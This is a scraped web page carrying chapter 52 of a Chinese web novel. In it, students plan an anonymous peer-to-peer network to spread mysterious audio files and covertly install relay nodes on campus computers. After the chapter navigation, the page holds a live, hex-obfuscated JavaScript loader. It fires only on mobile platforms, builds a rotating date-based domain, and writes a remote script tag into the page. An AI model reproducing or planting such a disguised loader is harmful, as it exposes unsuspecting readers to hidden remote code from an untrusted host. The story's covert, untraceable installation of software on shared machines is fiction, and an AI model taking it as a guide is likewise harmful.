返回第52章 兔子幽灵在江大游荡  木也马首页

关灯 护眼     字体:

上一章 目录 下一章

电话那头的沉默并没有持续太久。

“我觉得老馀说得对。”史作舟打破了沉默,带着一种豁出去的狠劲:“这玩意儿就象是大禹治水,堵是堵不住的。就算咱们不做,那些想追求刺激的学生也会去其他论坛、网盘里找资源。既然无法抑制传播,那还不如把这个入口”掌握在咱们自己手里。”

邵乂乂这个邪恶丸子头本来就很赞成:“以毒攻毒!s哥,我喜欢你这个方案!咱们手里有粮,心里不慌喽!”

温晓的声音也从那头传来,虽然还有些迟疑,但更多的是坚定:“恩,如果未来真的要分发“解药”,这也是唯一可行的途径了。”

看大家都认可了方案,馀弦总结道:“既然达成一致,那我们就来解决具体的执行问题。”

只要统一了思想,剩下的就是技术和战术层面的拆解。

“我有两个问题,我们分别来探讨一下。”馀弦抛出了第一个问题:“第一,就是昨天温晓给我说的,传输带宽的问题。你昨天不是说,只能发发文本吗?要是在上面发送几十兆的音频文档,这个带宽和传输速度能撑得住吗?”

他又接着补充道:“而且,前期节点太少,没有用户就没有网络,没有网络就没有用户,这是不是一个冷激活的悖论?”

“恩这确实是个大问题。”温晓听起来在思考:“但也不是没有解决办法。”

她解释道:“对于节点太少的问题,在初期,我们先不搞纯粹的去中心化”。我们可以在学校各个主楼机房,借几台性能好的计算机,作为“超级节点”添加网络。”

“超级节点?”

“对,这些超级节点就象是信号塔。我们先把热门的资源缓存在上面,提供高速下载,等到后面用户量上来了,每个人的手机都变成了一个小仓库,我们再慢慢撤掉这些超级节点,让网络回归真正的去中心化。”

“可以,先集中力量办大事!”史作舟兴奋赞同。

“那带宽的问题呢?”馀弦又问。

“这个我之前做过预想,我们可以把那些大的音频文档切成无数个小碎片,分散存储在不同的手机里,分布式存储。”温晓胸有成竹地解释道:“当你下载一个文档时,并不是从某一个人那里下载,而是从周围几十个拥有碎片的人那里拼”过来。”

史作舟声音已经带着崇拜了:“我去,相当于靠着大家互相喂饭”,自发的运转下去啊!以前的种子bt”下载电影不就是类似的逻辑吗?”

邵乂乂顺着这个思路说:“我们还可以做一个奖励机制”,谁贡献的存储空间和带宽多,谁就能获得更高的下载、转发优先级,还能获得更多的兔子洞积分”!”

“可以,兔子洞积分就叫做胡萝卜”好了!”史作舟和邵义乂对上了电波。

馀弦点了点头,技术难点有了解决方案,他提出了第二个顾虑:“那安全性呢?我是说,我们四个的安全性。”

他顿了顿,继续道:“如果我们真的做成了最大的资源站,那就意味着,我们会站在风口浪尖上。不管是学校官方,还是那个tdi背后的神秘组织,都有可能盯上我们。如果暴露了,后果不堪设想。”

这是他最担心的,如果“兔子洞”太过招摇,会不会引火烧身?

“这点倒是不用担心。”温晓解释道:“我们最大的优势就是去中心化,这个词意味着,在我们的架构里,没有管理员”、没有后台”,所有的用户,包括我们自己,在网络里都是一串随机生成的公钥代码。”

“也就是说,我们登录不需要手机号、不需要邮箱,甚至没有常规的账号体系?”史作舟挺震撼的,这种架构他之前没有见到过。

“是的,公钥就是你的账户,私钥就是你的密码,deisthew,代码就是规则本身。”温晓的语气里透露着她作为技术人员对这种架构的推崇。

“相当于,我们和其他用户是平权的,我们也只是普通的节点,没有人知道谁是运营者吗?”邵义义问道。

“对,就算他们抓到了数据包,也只能看到一堆乱码在手机之间跳来跳去,他们不知道哪个文档是从谁那里发出来的。”

温晓打了个比方:“就象是一滴水,藏进了大海里,我们只是大海中普通的四滴水。而且,只要还有节点上运行着“兔子洞”,那这个网络就是杀不死的。”

馀弦坐直身子,他想到了一个问题:“既然如此,那我们在这个节点网络中话语权要如何保证呢?虽然这样听起来有些既要又要,但不要忘了,这才是我们的目的和出发点。”

“你说的对,我也不希望它变成一个充斥着垃圾信息,甚至是恶意陷阱的赛博垃圾堆。”电话那头的温晓似乎早就考虑到了这一点:“虽然我们没有管理员权限,但我们可以利用这个体系里的共识机制”。

“7

“共识机制?”馀弦对这个词有些陌生。

“在我们的网络里,由于没有中央服务器,信息的传播优先级和热度排序,是由大多数节点”决定的,通过算法投票,少数服从多数。”温晓解释道。

“对,我们可以基于刚才说的胡萝卜积分”,来设计一套可以竞价排名的贿选”机制。”温晓说出了她的构想。

“什么叫贿选机制”?”邵义乂懵了。

“你们在打车的时候,有没有用过加价调度费”功能?只要你加了钱,司机就会优先来接你,平台也会优先给你派单。”

都是聪明人,温晓说到这里,几人就都明白了。

“你的意思是,谁给的胡萝卜”多,节点就优先帮谁转发,优先帮谁存储?”馀弦的思路被打开了。

“没错!就是这个意思!”温晓笑道:“正常情况下,节点是随机转发存储消息的,但是,如果你选择支付额外的胡萝卜”,来贿赂”节点,所有的节点就会优先处理你的订单,把你的消息加急、置顶、广播给所有人。”

馀弦悟了,真的是个天才的构想。

昨天他就已经被温晓“烽火台”的脱机传输网络给震撼过一次,今天又被这种天才般的贿选机制所冲击。

“可我们哪里来的胡萝卜?晓晓,你刚不是说没有管理员和后台吗?我们怎么给自己发放胡萝卜呢?”邵义乂有些担心。

“规则是公平的。没有人可以发放”胡萝下,大家都是要通过运行节点来产出积分,但是”温晓的声音透着一丝狡黠。

“但是我们入场最早!设备最多!所以我们在起跑在线就拥有了绝对的优势,贡献了最多的带宽和存储!”史作舟一下子悟了。

馀弦深吸了一口气。

这不仅是技术,这是经济学,甚至政治学的范畴了。

这是一个顶级阳谋,是一种“隐形控制”。

平时,大家自由交易,看似平等,并且“藏木于林”,他们也能隐藏其中。

但一到关键时刻,他们可以瞬间抛出手里囤积的海量“胡萝卜”,对全网的节点进行饱和式的“贿赂”!

他们不需要强制性的删除别人的文档,那会让大家觉得不自由、不安全。

但通过这套积分贿选的制度,他们就可以光明正大的,让大家只能看到他们想让人看到的优质内容,让这些内容瞬间霸屏。

而那些没有积分加速的垃圾内容,自然也会沉底,无人问津。

既保留了“去中心化”的安全外壳,又保留了关键时刻“宏观调控”的权力。

“你是天才。”馀弦不由自主地夸赞道。

“哎呀晓晓你脸怎么了?发烧了吗?哎别跑别跑,让我摸摸。”

邵乂乂的声音在听筒里传来,伴随着一阵嘈杂的床铺翻动的声音。

馀弦看了看时间,讨论这一会,已经是周日中午了。

时间紧迫,留给他们的时间不多了。

“温晓。”

“在!”

“虽然现在的技术方案已经很完美了,但把现在只用于传输短信的test版本,改造成一个集成了文档分发论坛”、分布式存储”、还带有一套积分竞价”经济模型的平台,需要多久?”

“现在有ai辅助写代码,加之一些开源码复用的话至少也要半个月。”温晓评估着工作量。

“半个月”馀弦也知道,软件开发不是变魔术,温晓只有一个人,这已经是极限速度了。

“没事,我们可以先发布一个预览版”,把兔子洞的名号打出去,把人圈进来,再慢慢更新。关键是,一定要把兔子洞的后台常驻做好,避免设备掉线。”

“好!”温晓答应的很干脆。

“我可以给晓晓打辅助!晓晓,你专心写后端逻辑和协议就好,剩下的杂活交给我!

ui界面、图标设计、文案设计、前端我可能都能帮你做了!”

邵乂义自告奋勇,让馀弦有些吃惊,毕竟邵义乂只是个历史学院的学生,没想到她还会这些。

“你还能做这么高级的业务?”史作舟也吃惊道。

“瞧不起人是吧!上次我们做大模型ai算命机器人的时候,晓晓都教过我了!”邵乂义抗议着,又小声补充道:“虽然是用ai生成但能用就行了!”

“好好好,老馀,那我呢?”史作舟有些急不可耐了。

“你的任务很重要,你认识的人多,这个事只有你能干。”馀弦说着:“你要去搞定咱们前期的那些个超级节点”。找些计算机安装上咱们的软件。不用多高配置,但需要数量多点,分散在学校的几个关键局域,比如图书馆、几栋教程楼附近。”

他顿了顿,补充道:“但是记住,安装节点的时候别被人看到了,不然就会被追踪到我们的痕迹,匿名的意义就不存在了。”

“放心吧老馀,反侦察这块,手拿把掐。我肯定让咱们的兔子洞悄悄的出现在学校的各个角落。”

史作舟那边传来拍着胸脯保证的声音:“一个幽灵!兔子洞的幽灵!在江大游荡!”

“好,我来搜集和整理资源,全网搜刮目前流传的各种脚本,把那些明显不符合法律法规的剔除掉,剩下的分类整理好。”馀弦最后总结道:“既然计划已定,那咱们就分头行动吧。”

“收到!”“明白!”“放心吧老馀!”

电话挂断,房间里重新恢复了安静。

馀弦靠在椅背上,看着窗外那灰蒙蒙的天空,心里始终有一块石头悬着。

虽然在语音里说的理直气壮,什么“非常时期非常手段”、“以毒攻毒”、“师夷长技以制夷”,这些词听起来很有道理。

但实际上,他知道,这只是麻痹自己和大家的一种话术。

这毕竟是潘多拉的魔盒。

即便他们的初衷是好的,而且用户不来他们这里,也会去别人那里。

但现阶段,他们确确实实是在充当“帮凶”,在推波助澜地传播这些里面可能暗含危险的音频文档。

如果里面不仅有ch抑制补丁,还被人恶意植入了那个可能导致“微笑自杀”的恶意指令呢?

那他和小伙伴,岂不是成了杀人凶手?

他心里一直有个假设,但在群组语音里不方便说出来。

馀弦手指在键盘悬停良久,最终,他还是给温晓私发了一条消息:“温晓,方便的时候回个电话,有个想法,想跟你单独确认一下。”

消息刚发出去不到十秒钟,手机就震动起来。

屏幕上跳动着“测不准机器人”的名字。

馀弦接起电话。

“喂,馀弦?”

温晓的声音听起来有点紧张,背景音里她正在穿过走廊,可能去了阳台。

“温晓,我想跟你讨论个技术问题。虽然刚才我们说以毒攻毒”,虽然没人找得到我们,但我心里还是不太踏实。”

温晓嗯了一声,等着馀弦继续讲。

“现在既然已经分析出,那些音频的结构,由四个模块组成,药引子”、引擎”、补丁”和剧本”。同时,我们又掌握了ch抑制音频的未加密源文档。”

馀弦深吸一口气,说出了他一直在琢磨的方案:“那我们,能不能把那些变种音频文档,全部拆解开,保留药引子、引擎和剧本部分,但是把那个来路不明、可能带有恶意指令的第三部分补丁”给剔除掉

他的语速变快了些:“然后,我们再把手上的官方正版ch源文档,重新注入进去,再封装发布?”

“你是说

“”

“我们给那些音频来演一出,狸猫换太子。”

👉&128073; 当前浏览器转码失败:请退出“阅读模式”显示完整内容,返回“原网页”。

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");